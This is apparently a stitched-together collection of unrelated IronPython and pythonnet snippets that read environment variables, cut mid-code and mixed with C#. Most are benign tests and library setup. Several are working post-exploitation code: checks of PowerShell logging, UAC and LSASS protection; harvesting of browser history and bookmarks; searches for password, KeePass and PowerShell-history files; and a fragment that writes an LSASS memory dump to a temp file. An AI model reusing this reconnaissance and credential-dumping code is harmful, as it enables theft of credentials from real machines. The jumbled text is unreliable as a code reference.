def __init__(self, variable, value, sep=os.pathsep, prepend=False): from System import Environment self._variable = variable self._value = value self._prepend = prepend self._sep = sep self._oldval = Environment.GetEnvironmentVariable(self._variable)
def systemInfo(): verInfo = r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" psKey = r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" sysPolKey = r"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" sysSummary = printHeader("SYSTEM INFORMATION") sysSummary += "{0:<10}: {1}\n".format("Host", Env.MachineName) sysSummary += "{0:<10}: {1} {2}\n".format("OS", Registry.GetValue(verInfo, "ProductName", "Windows"), Diagnostics.FileVersionInfo.GetVersionInfo(Env.SystemDirectory + "\\kernel32.dll").ProductVersion) sysSummary += "{0:<10}: {1}\n".format("64-Bit", Env.Is64BitOperatingSystem) sysSummary += "{0:<10}: {1}\n".format("Date", DateTime.Now.ToString()) sysSummary += "{0:<10}: {1}\n\n".format("Uptime", DateTimeOffset(DateTime.Now).AddMilliseconds(-Env.TickCount).LocalDateTime) sysSummary += "{0:<14}: {1}\{2}\n".format("Username", Env.UserDomainName, Env.UserName) sysSummary += "{0:<14}: {1}\n\n".format("Logon Server", Env.GetEnvironmentVariable("LOGONSERVER")) sysSummary += "{0:<22}: {1}\n".format("PowerShell Version", Registry.GetValue(psKey, "PowerShellVersion", "N/A - Likely 2.0")) sysSummary += "{0:<22}: {1}\n".format("PowerShell Compat", Registry.GetValue(psKey, "PSCompatibleVersion", "N/A - Likely 1.0, 2.0")) sysSummary += "{0:<22}: {1}\n".format("PS Script Block Log", Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging", "EnableScriptBlockLogging", "N/A")) sysSummary += "{0:<22}: {1}\n".format("PS Transcription", Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription", "EnableTranscripting", "N/A")) sysSummary += "{0:<22}: {1}\n".format("PS Transcription Dir", Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription", "OutputDirectory", "N/A")) sysSummary += "{0:<22}: {1}\n\n".format("PS Module Logging", Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging", "EnableModuleLogging", "N/A")) sysSummary += "{0:<27}: {1}\n".format("UAC Enabled", Convert.ToBoolean(Registry.GetValue(sysPolKey, "EnableLUA", "N/A"))) sysSummary += "{0:<27}: {1}\n".format("High Integrity", WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) sysSummary += "{0:<27}: {1}\n".format("UAC Token Filter Disabled", Registry.GetValue(sysPolKey, "LocalAccount", False)) sysSummary += "{0:<27}: {1}\n".format("UAC Admin Filter Enabled", Registry.GetValue(sysPolKey, "FilterAdministratorToken", False)) sysSummary += "{0:<27}: {1}\n".format("Local Admin Pass Solution", Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft Services\AdmPwd", "AdmPwdEnabled", "N/A")) sysSummary += "{0:<27}: {1}\n".format("LSASS Protection", Registry.GetValue("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa", "RunAsPPL", "N/A")) sysSummary += "{0:<27}: {1}\n".format("Deny RDP Connections", Convert.ToBoolean(Registry.GetValue("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server", "FDenyTSConnections", "N/A"))) return sysSummary
def test_S(self): """Test the -S (suppress site initialization) option.""" # Create a local site.py that sets some global context. Do this in a temporary directory to avoid accidently # overwriting a real site.py or creating confusion. Use the IRONPYTHONPATH environment variable to point # IronPython at this version of site.py. from System import Environment with open(os.path.join(self.tmpdir, "site.py"), "w") as f: f.write("import sys\nsys.foo = 123\n") with IronPythonVariableContext("IRONPYTHONPATH", self.tmpdir, prepend=True): print(Environment.GetEnvironmentVariable("IRONPYTHONPATH")) # Verify that the file gets loaded by default. self.TestCommandLine(("-c", "import sys; print(sys.foo)"), "123\n") # CP778 - verify 'site' does not show up in dir() self.TestCommandLine(("-c", "print('site' in dir())"), "False\n") # Verify that Lib remains in sys.path. self.TestCommandLine(( "-S", "-c", "import os ; import sys; print(str(os.path.join(sys.exec_prefix, 'Lib')).lower() in [x.lower() for x in sys.path])" ), "True\n") # Now check that we can suppress this with -S. self.TestCommandLine( ("-S", "-c", "import sys; print(sys.foo)"), ("lastline", "AttributeError: 'module' object has no attribute 'foo'\n"), 1)
def setUp(self): temp_dir = DirectoryInfo(Environment.GetEnvironmentVariable("TEMP")) # myDocuments = DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)) self.temp_dir = temp_dir.CreateSubdirectory('tempDir') self.temp_dir_path = self.temp_dir.ToString() self.file1 = FileInfo(self.temp_dir_path + '\\file1.txt') self.file2 = FileInfo(self.temp_dir_path + '\\file2.txt') self.file3 = FileInfo(self.temp_dir_path + '\\file3.txt') sw = self.file1.CreateText() sw.WriteLine("Hello1") sw.Close() sw = self.file2.CreateText() sw.WriteLine("Hello2") sw.Close() sw = self.file3.CreateText() sw.WriteLine("Hello3") sw.Close() today = DateTime.Now one_day_old = today.AddDays(-1).ToString("yyyy.MM.dd") two_days_old = today.AddDays(-2).ToString("yyyy.MM.dd") self.file1.CreationTime = DateTime.Parse(today.ToString("yyyy.MM.dd")) self.file2.CreationTime = DateTime.Parse(one_day_old) self.file3.CreationTime = DateTime.Parse(two_days_old) print "\r myDocuments temp path = [%s]" % self.temp_dir_path print "CreationTime file1 = [%s]" % self.file1.CreationTime print "CreationTime file2 = [%s]" % self.file2.CreationTime print "CreationTime file3 = [%s]" % self.file3.CreationTime
def unmanagedDLL(): ''' Places an unmanaged DLL inside DLLs. ''' twain = Environment.GetEnvironmentVariable("SystemRoot") + "\\twain.dll" File.Copy(twain, DLLS_DIR + "\\twain.dll")
def _pick_sound_file(title, local_path): dialog = OpenFileDialog() dialog.Title = title dialog.InitialDirectory = Environment.GetEnvironmentVariable("USERPROFILE") dialog.Filter = "mp3 files (*.mp3)|*.mp3" if dialog.ShowDialog() == DialogResult.OK: os.system('copy "{0}" "{1}"'.format(dialog.FileName, local_path)) Parent.PlaySound(local_path, 1)
def browserEnum(): summary = printHeader("BROWSER ENUM") regex = Regex('(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?') #Active IE Urls summary += printSubheader("ACTIVE EXPLORER URLS") app = Activator.CreateInstance(Type.GetTypeFromProgID("Shell.Application")) summary += "\n".join([w.LocationUrl() for w in app.Windows()]) #Chrome History summary += printSubheader("\n\nChrome History") try: cHistPath = "{0}\Users\{1}\AppData\Local\Google\Chrome\User Data\Default\History".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName) cHist = open(cHistPath, "r").read() summary += "\n".join(["[*] {0}\n".format(m.Value) for m in regex.Matches(cHist)][-10:]) except: pass summary += printSubheader("\nChrome Bookmarks") #Chrome Bookmarks try: cBMPath = "{0}\Users\{1}\AppData\Local\Google\Chrome\User Data\Default\Bookmarks".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName) js = JavaScriptSerializer() cBM = js.DeserializeObject(open(cBMPath, "r").read()) urls = cBM["roots"]["bookmark_bar"]["children"] for url in urls: u = url['url'] d = url['name'] summary += "[*] {0}\n{1}\n\n".format(d, u) except: pass summary += printSubheader("Firefox History") #Firefox History try: regex = Regex('(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?') fHistPath = "{0}\Users\{1}\AppData\Roaming\Mozilla\Firefox\Profiles".format(Env.GetEnvironmentVariable("systemdrive"), Env.UserName) for path in DirectoryInfo(fHistPath).EnumerateDirectories("*.default"): places = open(path.FullName + "\places.sqlite", "r").read() summary += "\n".join(["[*] {0}\n".format(m.Value) for m in regex.Matches(places)][:10]) except: pass summary += printSubheader("IE History") typedUrlPath = "\Software\Microsoft\Internet Explorer\TypedURLs" for sid in Registry.Users.GetSubKeyNames(): if sid != ".DEFAULT" and not sid.endswith("Classes"): try: typedUrlsKey = Registry.Users.OpenSubKey(sid + typedUrlPath) if typedUrlsKey != None: summary += "[{0}][{1}]\n".format(sid, SecurityIdentifier(sid.ToString()).Translate(NTAccount)) for value in typedUrlsKey.GetValueNames(): summary += "\t{0}\n".format(typedUrlsKey.GetValue(value)) summary += "\n" except SystemError: pass return summary
def interestingFiles(): filetypes = [ "*.ps1", "*pass*", "*diagram*", "*.pdf", "*.vsd", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.kdbx", "*.key", "KeePass.config"] dirs = [ Env.GetEnvironmentVariable("ProgramFiles"), Env.GetEnvironmentVariable("ProgramFiles(x86)"), Env.GetEnvironmentVariable("USERPROFILE") + "\Desktop", Env.GetEnvironmentVariable("USERPROFILE") + "\Documents", ] indexedFiles() filesSummary = printHeader("INTERESTING FILES") filesSummary += printSubheader ("Logical Drives") for drive in DriveInfo.GetDrives(): try: filesSummary += "Drive {0}\n".format(drive.Name) filesSummary += "\tDrive Type: {0}\n".format(drive.DriveType) filesSummary += "\tVolume label: {0}\n".format(drive.VolumeLabel) filesSummary += "\tFile System: {0}\n".format(drive.DriveFormat) filesSummary += "\tAvailable Space for user: \t{0}\n".format(drive.AvailableFreeSpace) filesSummary += "\tTotal Available Space: \t\t{0}\n".format(drive.TotalFreeSpace) filesSummary += "\tTotal Drive Space: \t\t{0}\n".format(drive.TotalSize) except IOError: continue filesSummary += printSubheader ("DIRECTORY LISTINGS") for dir in dirs: dirInfo = DirectoryInfo(dir) filesSummary += dir + "\n" for d in dirInfo.GetDirectories(): filesSummary += " " + d.Name + "\n" filesSummary += "\n" filesSummary += printSubheader ("FILES BY EXTENSION") profile = DirectoryInfo(Env.GetEnvironmentVariable("USERPROFILE")) for t in filetypes: filesSummary = recursiveFiles(profile, t, filesSummary) filesSummary += printSubheader ("POWERSHELL HISTORY") psHistFile = Env.GetEnvironmentVariable("APPDATA") + "\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" try: history = open(psHistFile, "r").readlines()[-50:] filesSummary += "".join(history) except IndexError: history = open(psHistFile, "r").readlines() filesSummary += "".join(history) except IOError: filesSummary += "No history!\n" filesSummary += printSubheader ("HOSTS FILE") filesSummary += open(Env.GetEnvironmentVariable("WINDIR") + "\System32\drivers\etc\hosts", "r").read() return filesSummary
def setUp(self): self.temp_directory = Env.GetEnvironmentVariable("TEMP") #check temp dir exists self.assertTrue(Directory.Exists(self.temp_directory)) #check temp file in temp dir does not exist if File.Exists(self.tempFileFullPath1 or self.tempFileFullPath2 or self.tempFileFullPath1): File.Delete(self.tempFileFullPath1) File.Delete(self.tempFileFullPath2) File.Delete(self.tempFileFullPath3) #create a file to check and delete fs1 = FileStream(self.tempFileFullPath1, FileMode.Create) fs2 = FileStream(self.tempFileFullPath2, FileMode.Create) fs3 = FileStream(self.tempFileFullPath3, FileMode.Create) fs1.Close() fs2.Close() fs3.Close()
class Test(unittest.TestCase): temp_directory = Env.GetEnvironmentVariable("TEMP") temp_file1 = r"\test1.test" temp_file2 = r"\test2.test" temp_file3 = r"\test3.test" tempFileFullPath1 = temp_directory + temp_file1 tempFileFullPath2 = temp_directory + temp_file2 tempFileFullPath3 = temp_directory + temp_file3 def setUp(self): self.temp_directory = Env.GetEnvironmentVariable("TEMP") #check temp dir exists self.assertTrue(Directory.Exists(self.temp_directory)) #check temp file in temp dir does not exist if File.Exists(self.tempFileFullPath1 or self.tempFileFullPath2 or self.tempFileFullPath1): File.Delete(self.tempFileFullPath1) File.Delete(self.tempFileFullPath2) File.Delete(self.tempFileFullPath3) #create a file to check and delete fs1 = FileStream(self.tempFileFullPath1, FileMode.Create) fs2 = FileStream(self.tempFileFullPath2, FileMode.Create) fs3 = FileStream(self.tempFileFullPath3, FileMode.Create) fs1.Close() fs2.Close() fs3.Close() def tearDown(self): self.assertFalse(File.Exists(self.tempFileFullPath1)) self.assertFalse(File.Exists(self.tempFileFullPath2)) self.assertFalse(File.Exists(self.tempFileFullPath3)) def testDeleteAFile(self): # File.Delete(self.tempFileFullPath1) deleteFiles.deleteFilesFromDirectoryWithExtension( self.temp_directory, "test") self.assertFalse(File.Exists(self.tempFileFullPath1)) self.assertFalse(File.Exists(self.tempFileFullPath2)) self.assertFalse(File.Exists(self.tempFileFullPath3))
def getenv(name): rv = str(Environment.GetEnvironmentVariable(name)) return rv
* "NLog.dll" is required. """ __author__ = "Nishida Takehito <*****@*****.**>" __version__ = "0.9.0.0" __date__ = "2018/12/27" # # append path. # import os import os.path as path from sys import path as systemPath from System import Environment as env IRONPYTHON_HOME = env.GetEnvironmentVariable("IRONPYTHON_HOME") if IRONPYTHON_HOME is None: raise Exception("Error : Set path of IRONPYTHON_HOME.") IRONPYTHON_LIB = path.join(IRONPYTHON_HOME, "Lib") IRONPYTHON_DLLS = path.join(IRONPYTHON_HOME, "DLLs") IRONPYTHON_NLOG = path.join(IRONPYTHON_HOME, "Lib\\nlog") _lstPath = [] _lstPath.append(IRONPYTHON_LIB) _lstPath.append(IRONPYTHON_DLLS) _lstPath.append(IRONPYTHON_NLOG) _checkPath = True
# This script can be pretty chatty to stdout, configure various output here Vtero.VerboseOutput = True Vtero.DiagOutput = False Vtero.VerboseLevel = 1 Vtero.DisableProgressBar = True # More option handling for each file copts = ConfigOptions() copts.IgnoreSaveData = True copts.VersionsToEnable = PTType.GENERIC copts.VerboseLevel = 1 # in the case of some dump tools (ENCASE) use this option #copts.ForceSingleFlatMemRun = True # This code fragment can be removed but it's a reminder you need symbols working sympath = Environment.GetEnvironmentVariable("_NT_SYMBOL_PATH") if String.IsNullOrWhiteSpace(sympath): sympath = "SRV*http://msdl.microsoft.com/download/symbols" hwmiss = [] def ScanDump(MemoryDump, copts): MemoryDumpSize = FileInfo(MemoryDump).Length copts.FileName = MemoryDump # Check StopWatch runTime = Stopwatch.StartNew() # since we are not ignoring SaveData, this just get's our state from # the underlying protobuf, pretty fast vtero = Scan.Scanit(copts) proc_arr = vtero.Processes.ToArray()
public static bool Write(SafeHandle fileHandle, Option dumpType) { return Write(fileHandle, dumpType, ExceptionInfo.None); } public static bool Write(SafeHandle fileHandle) { return Write(fileHandle, Option.WithFullMemory, ExceptionInfo.None); } } """ try: print('Generating assembly') assembly = Generate(unmanaged_code, 'MiniDump') clr.AddReference(assembly) print('Importing assembly') import MiniDump systemRoot = Environment.GetEnvironmentVariable("SystemRoot") dumpFile = "{0}\\Temp\\debug.bin".format(systemRoot) print('Creating dump') with FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write) as fs: MiniDump.Write(fs.SafeFileHandle) print 'Succsessfully written LSASS.exe dumpfile to %s' % dumpFile except Exception as e: print(str(e))
import clr clr.AddReferenceToFileAndPath(r'C:\src\R\rdotnet\R.NET\bin\Debug\RDotNet.dll') clr.AddReferenceToFileAndPath(r'C:\src\trunk\Partners\CSIRO\R\CSIRO.TIME2R\bin\Debug\CSIRO.TIME2R.dll') clr.AddReference("System.Core") from CSIRO.TIME2R import * import System import RDotNet from RDotNet import * clr.ImportExtensions(System.Linq) clr.ImportExtensions(RDotNet) clr.ImportExtensions(SymbolicExpressionExtension) rdllloc = r"c:\bin\R\R\bin\x64" REngine.SetDllDirectory(rdllloc) from System import Environment rhome = Environment.GetEnvironmentVariable("R_HOME") Environment.SetEnvironmentVariable("R_HOME", r"c:\bin\R\R") engine = REngine.CreateInstance("RDotNet", r"c:\bin\R\R\bin\x64\R.dll") engine.Initialize() sexp = "data.frame(name=paste('x', 1:4, sep=''), min = rep(0,4), value= rep(1,4), max = rep(2,4), stringsAsFactors=FALSE)" df = SymbolicExpressionExtension.AsDataFrame(engine.Evaluate(sexp)) hc = TimeToRDataConversion.convert(df) // .NET Framework array to R vector. NumericVector group1 = engine.CreateNumericVector(new double[] { 30.02, 29.99, 30.11, 29.97, 30.01, 29.99 }); engine.SetSymbol("group1", group1); // Direct parsing from R script. NumericVector group2 = engine.Evaluate("group2 <- c(29.89, 29.93, 29.72, 29.98, 30.02, 29.98)").AsNumeric(); group2[2] = 3.1415; engine.Evaluate("print(group2)");
window = Tk() window.title("Welcom to Halcon") window.geometry('325x250') window.configure(background="gray") ttk.Button(window, text="Hello").grid() window.mainloop() # clr from package pythonnet import clr clr.AddReference("System") from System import Environment # Begin setting up access to Halcon # Add path to halcondotnet.dll HALCONROOT = Environment.GetEnvironmentVariable("HALCONROOT") sys.path.append(HALCONROOT + "/bin/dotnet35") # Add halcondotnet reference clr.AddReference("halcondotnet") clr.AddReference("hdevenginedotnet") # import HALCON from namespace from HalconDotNet import * # End setting up access to Halcon ho_Image = HImage() ho_ImageInvert = HImage() hv_WindowHandle = HWindow() HSystem.SetWindowAttr("background_color", "black")